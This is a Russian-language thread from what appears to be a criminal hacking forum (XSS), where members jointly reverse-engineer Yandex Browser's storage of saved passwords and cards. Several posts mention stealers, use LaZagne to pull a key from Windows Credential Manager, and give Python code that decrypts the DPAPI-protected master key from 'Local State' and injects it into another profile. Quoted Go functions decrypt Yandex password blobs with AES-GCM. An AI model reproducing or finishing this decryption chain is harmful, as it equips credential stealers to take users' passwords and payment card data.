• XSS.stack #1 – первый литературный журнал от юзеров форума

единый ЯндексБраузера тред

Для общества
Для себя в первую очередь. Очень интересно как это устроено. Пока иду по хлебным крошкам в поисках алгоритма. Если кому то интересно, то прошу в тему. Если кто то коммерчески мотивирован, то может всегда об этом заявить - проблем не будет. А вот если переписывали свои стиллеры с гитхаба, используя чужие наработки или исследования - то пора уже что то вкинуть в сообщество.
Ну а тебя чем двигает чтоб попытаться расшифровать яндекс?
ЛЮБОПЫТСТВО
 
ТС, признавайся, что помимо спортивного интереса задумал?
Только любопытство. Я вообще по другой теме. У меня всегда спрашивали - какое твое хобби. И у меня всегда не было ответа. Всегда мучался по этому поводу. Вот нашел себе занятие впервые, даже денег сам готов заплатить тем кто окажется очень умен и поможет в этом вопросе. Уж очень интересная вещь. По сути если приглядется ко мне и поскребсти - там ничего выдающегося и нет, а вот если оставлю свой след на форуме в виде типа который силы вложил в ЯБ. То нормас, хоть что то останется. А то все коммерция коммерция. А в чем смысл жизни, брат? В том что бы зарабатывать миллионы? А не было никогда миллионов брат, только жизнь начинается!! Давай будем сильными и ебучими-ебучими и ломанем яндекс бразуер, а то сафари слишком скушна, думаю людям интересно будет именно про яндекс почитать, вон видишь уже спорят работа по ру это или нет. А я так говорю, да я говорю - если вы умные, то помогите, я вам может быть и денег заплочу. Тут уже дело принципа, чисто джентельменская тема от меня.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Только любопытство. Я вообще по другой теме. У меня всегда спрашивали - какое твое хобби. И у меня всегда не было ответа. Всегда мучался по этому поводу. Вот нашел себе занятие впервые, даже денег сам готов заплатить тем кто окажется очень умен и поможет в этом вопросе. Уж очень интересная вещь. По сути если приглядется ко мне и поскребсти - там ничего выдающегося и нет, а вот если оставлю свой след на форуме в виде типа который силы вложил в ЯБ. То нормас, хоть что то останется. А то все коммерция коммерция. А в чем смысл жизни, брат? В том что бы зарабатывать миллионы? А не было никогда миллионов брат, только жизнь начинается!! Давай будем сильными и ебучими-ебучими и ломанем яндекс бразуер, а то сафари слишком скушна, думаю людям интересно будет именно про яндекс почитать, вон видишь уже спорят работа по ру это или нет. А я так говорю, да я говорю - если вы умные, то помогите, я вам может быть и денег заплочу. Тут уже дело принципа, чисто джентельменская тема от меня.

Вспахивай эту грядку, успехов!
 
По идее я угадал:

Посмотреть вложение 76112

Но силы и энергосы оставили меня на сегодня.
тс молодец, тему прогреваешь. В будущем да и сейчас, каждый форумчанин сможет для себя что нибудь узнать.
Главное чтоб из яндекса не узнали и не фиксанули
 
Главное чтоб из яндекса не узнали и не фиксанули
Да и х#й с ним, главное процесс, а не это вот всё. Спасибо за добрые слова :)
 
Кстати, яндекс в Windows Credman хранит ещё какой-то ключик. Через lazagne его можно достать.
Длина 36 байт.

LaZagne.exe windows

1707066325825.png



Так-же заметил что яндекс не использует ключ из Local State при расшифровек паролей и карт.

local_encryptor_data точно используеться при расшифровке паролей.
1707067305827.png


Удалил всё кроме папки профиля, пароли и карты расшифровались браузером.
 
Последнее редактирование:
Экспериментальным путем было выяснено, что при удалении папки профиля и локал стейта, яндекс восстанавливает локал стейт из бекапа, ключ остается один и тот же, а вот блоб из local_encryptor_data будет уже другой и следовательно уже другим блобом будут пошифрованны пароли. Если изменить этот блоб - пароли перестанут расшифровываться - значит это и есть ключ от замочка. Осталось понять каким образом происходит расшифровка. Спасибо за совместное исследование Eternity!!

Те теперь алгоритм такой: Windows Credman восстанавливает ключ Local State, ключ из Local State расшифровывает local_encryptor_data, дальше уже будут наверное пароли. Осталось подобрать правильно расшифровку local_encryptor_data, а потом трудиться над пассвордами.

ДОРОГИЕ ПРОГРАММИСТЫ И ИССЛЕДОВАТЕЛИ, У ВАС ЕСТЬ РЕАЛЬНЫЙ ШАНС ОТПРАВИТСЯ НА ДОСКУ ПОЧЕТА, ПОТЕШЬТЕ ЭГО - БУДЬТЕ ПЕРВЫМИ, ВСТУПАЙТЕ В ЕДИНЫЙ ЯНДЕКС ТРЕД КОМАНДУ
 
Последнее редактирование:
Обновление:
local_encryptor_data - накрывается сверху DPAPI - проведен эксперемент с переносом на другую машину ключа.

1) Расшифрованный ключ DPAPI был перенесен на другую машину
Код:
def get_master_key():
    with open("Local State", "r", encoding="utf-8") as f:
        c = f.read()
    local_state = json.loads(c)
    key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
    hex_representation = key.hex()
    ansi_representation = key.decode('latin-1')
    length = len(key)
    print(f"master_key (Hex): {hex_representation}")
    print(f"master_key (ANSI): {ansi_representation}")
    print(f"master_key Length: {length} bytes")
    key = key[5:]
    key = CryptUnprotectData(key, None, None, None, 0)[1]
    hex_representation = key.hex()
    ansi_representation = key.decode('latin-1')
    length = len(key)
    with open('binary_data_master_key.bin', 'wb') as file:
        file.write(key)
    print(f"master_key (Hex): {hex_representation}")
    print(f"master_key (ANSI): {ansi_representation}")
    print(f"master_key Length: {length} bytes")
    return key

2) Потом он был зашифрован и вставлен согласно техничке в Local State
Код:
import json
import win32crypt
import base64
import os

# Чтение файла Local State
local_state_file = 'Local State'
with open(local_state_file, 'r', encoding='utf-8') as f:
    local_state_data = json.load(f)

# Чтение бинарных данных из файла binary_data.bin
binary_data_file = 'binary_data_master_key.bin'
with open(binary_data_file, 'rb') as f:
    binary_data = f.read()

# Шифрование бинарных данных с использованием DPAPI
encrypted_binary_data = win32crypt.CryptProtectData(
    binary_data,
    None,
    None,
    None,
    None,
    0
)

# Преобразование шифрованных данных в base64
base64_encrypted_data = base64.b64encode(b'4450415049'+encrypted_binary_data).decode('utf-8')

# Замена значения в Local State
local_state_data['os_crypt']['encrypted_key'] = base64_encrypted_data

# Сохранение обновленных данных обратно в файл Local State
with open(local_state_file, 'w', encoding='utf-8') as f:
    json.dump(local_state_data, f, ensure_ascii=False, indent=4)

print("Значение в Local State успешно обновлено.")

3) Local State с новым ключем был перенесен в профиль - импортированные пароли через браузер в Ya Passman Data успешно расшифровались, при переносе с другой машины зашифрованного тем же ключем Ya Passman Data - неизвестная ошибка. Те сверху еще и накрывают DPAPI local_encryptor_data.
 
Те алгоритм теперь такой: Windows Credman восстанавливает ключ Local State, Local State расшифровывается DPAPI, local_encryptor_data - расшифровывается DPAPI, далее ?
 
Те алгоритм теперь такой: Windows Credman восстанавливает ключ Local State, Local State расшифровывается DPAPI, local_encryptor_data - расшифровывается DPAPI, далее ?
далее всем форумом в тред локбита... Каждый свою копейку вставил, и то хорошо.
 
В сравнении с тем, что в реале индексирует xеdнЯ и как очумительно это может повлиять на его стоимость при сделках остаточного подписанства это тянет на детскую игру в крысу, не более.
Если что, могу продать наколки. Но конечно только для достижения компромиссных сделок. Там нажидопиарят не посмотрят шо не Google и останутся с носом. ))
Не, серьезно, там есть нюансы. Кстати, именно этими нюансами ебание вола то продажи, то уступок и объяснимы. Этот поисковик по жидопиару обречен. GDPR имеется в виду. )) Но, никакой магии и даже спецсимволов с тайными запросами, просто есть ряд вещей которые не замечают и они не раскрываются. Это как видеонаблюдение. Вроде двор снимает, а потом вдруг узнал что и тебя и окно и всё что ты делал в архиве соседа есть. )) Для privacy либидо важный раздражитель
 
i have algo
I also got it, and this one is free and open src

This repo is supporting all browsers:

Example how to get Yandex PWs:
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Example how to get Yandex PWs
Have you test it on Yandex Browser? I don't see it actually working just by looking at this code (at very least there is no v10 prefix in yandex's encryption scheme):
Код:
func DecryptWithChromium(key, ciphertext []byte) ([]byte, error) {
    if len(ciphertext) < minEncryptedDataSize {
        return nil, ErrCiphertextLengthIsInvalid
    }

    nonce := ciphertext[3 : 3+nonceSize]
    encryptedPassword := ciphertext[3+nonceSize:]

    return AESGCMDecrypt(key, nonce, encryptedPassword)
}

// DecryptWithYandex decrypts the password with AES-GCM
func DecryptWithYandex(key, ciphertext []byte) ([]byte, error) {
    if len(ciphertext) < minEncryptedDataSize {
        return nil, ErrCiphertextLengthIsInvalid
    }
    // remove Prefix 'v10'
    // gcmBlockSize         = 16
    // gcmTagSize           = 16
    // gcmMinimumTagSize    = 12 // NIST SP 800-38D recommends tags with 12 or more bytes.
    // gcmStandardNonceSize = 12
    nonce := ciphertext[3 : 3+nonceSize]
    encryptedPassword := ciphertext[3+nonceSize:]
    return AESGCMDecrypt(key, nonce, encryptedPassword)
}
 
Пожалуйста, обратите внимание, что пользователь заблокирован
I also got it, and this one is free and open src

This repo is supporting all browsers:

Example how to get Yandex PWs:
yandex uses double aes gcm with some kdf :D
 
Have you test it on Yandex Browser? I don't see it actually working just by looking at this code (at very least there is no v10 prefix in yandex's encryption scheme):
Код:
func DecryptWithChromium(key, ciphertext []byte) ([]byte, error) {
    if len(ciphertext) < minEncryptedDataSize {
        return nil, ErrCiphertextLengthIsInvalid
    }

    nonce := ciphertext[3 : 3+nonceSize]
    encryptedPassword := ciphertext[3+nonceSize:]

    return AESGCMDecrypt(key, nonce, encryptedPassword)
}

// DecryptWithYandex decrypts the password with AES-GCM
func DecryptWithYandex(key, ciphertext []byte) ([]byte, error) {
    if len(ciphertext) < minEncryptedDataSize {
        return nil, ErrCiphertextLengthIsInvalid
    }
    // remove Prefix 'v10'
    // gcmBlockSize         = 16
    // gcmTagSize           = 16
    // gcmMinimumTagSize    = 12 // NIST SP 800-38D recommends tags with 12 or more bytes.
    // gcmStandardNonceSize = 12
    nonce := ciphertext[3 : 3+nonceSize]
    encryptedPassword := ciphertext[3+nonceSize:]
    return AESGCMDecrypt(key, nonce, encryptedPassword)
}
No, I was looking only at repo and description, it does not seems to be some shit rather coherent up to date github repo thus I assume it should work, there is also binary file, thus I'll test it
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх